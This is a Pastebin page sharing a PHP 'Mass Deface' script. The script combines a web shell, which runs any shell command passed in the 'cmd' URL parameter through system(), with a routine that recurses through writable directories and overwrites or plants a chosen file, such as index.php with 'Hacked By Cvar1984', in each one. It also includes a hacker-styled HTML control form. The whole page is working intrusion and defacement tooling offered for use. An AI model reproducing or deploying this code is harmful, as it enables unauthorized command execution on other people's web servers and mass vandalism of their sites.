Advertisement
P22DX

Mass Deface

Oct 9th, 2017
458
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.82 KB | None | 0 0
  1. <?php
  2. echo '<pre>';
  3. system($_GET['cmd']);
  4. echo '<pre>';
  5.  
  6. function bikin_file($namafile,$script){
  7. $fp2 = fopen($namafile,"w");
  8. fputs($fp2,$script);
  9.  
  10. }
  11. function buka_dir($getcwd){
  12.     if(is_writable($getcwd)){
  13.     $nama = $_POST['nama'];
  14.     $script = $_POST['script'];
  15.     $a = scandir("$getcwd");
  16. foreach($a as $aa){
  17.     if($aa == "." | $aa == ".."){
  18.     }elseif(is_dir("$getcwd/$aa")){
  19.  
  20.         $dir_baru = "$getcwd/$aa";
  21.         if(is_writable($dir_baru)){
  22.         echo "<font color='lime'>.$dir_baru/$nama <== sukses<br></font>";
  23.         $create_file = bikin_file("$dir_baru/$nama", "$script");
  24.         $baa = buka_dir($dir_baru);
  25.     }
  26.     else{
  27.         echo "<font color='red'>Dir Error</font>";
  28.     }
  29. }
  30. }  
  31. }
  32. else{
  33.     echo "<font color='red'>Dir Error</font>";
  34. }
  35. }
  36. if($_POST){
  37. $cwd = $_POST['dir'];
  38. $coba = buka_dir($cwd);
  39. echo $coba;
  40. }
  41. else{
  42.     echo "<title>Mass Deface</title>
  43. <head>
  44.       <font color='red'>
  45.   <div align='center'>
  46. <b>       <h1 style='color:yellow;'>--=( _ Deface Massal _ )=--</h1>
  47. <pre>
  48.         \     .--.
  49.           \   |o_o |
  50.               |:_/ |
  51.               //   \ \
  52.              (|     | )
  53.             /'\_   _/`\
  54.             \___)=(___/
  55.             </pre></b></font>
  56.      <font color='yellow'>
  57.       <hr color='blue' />
  58.       </head>
  59.       <body bgcolor='black'>
  60. <table>
  61.                             <tr><td><form method='post' action='?action'></td></tr>
  62.                             <tr><td><input type='text' name='dir' placeholder='Dir' style='color:lime;background-color:black;'></td> </tr>
  63.                             <tr><td><input type='text' name='nama' placeholder='index.php' style='color:lime;background-color:black;'></td> </tr>
  64.                             <tr><td><textarea rows='10' cols='19px' name='script' placeholder='Hacked By Cvar1984' style='color:lime;background-color:black;'></textarea></td></tr>
  65.  
  66.                             <br><tr><td><input type='submit' value='Hajar'></td></tr>
  67.                             </form>
  68.                         </table>
  69. </div>
  70. </body>
  71. </font>
  72. <hr color='blue' />";
  73. }
  74. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement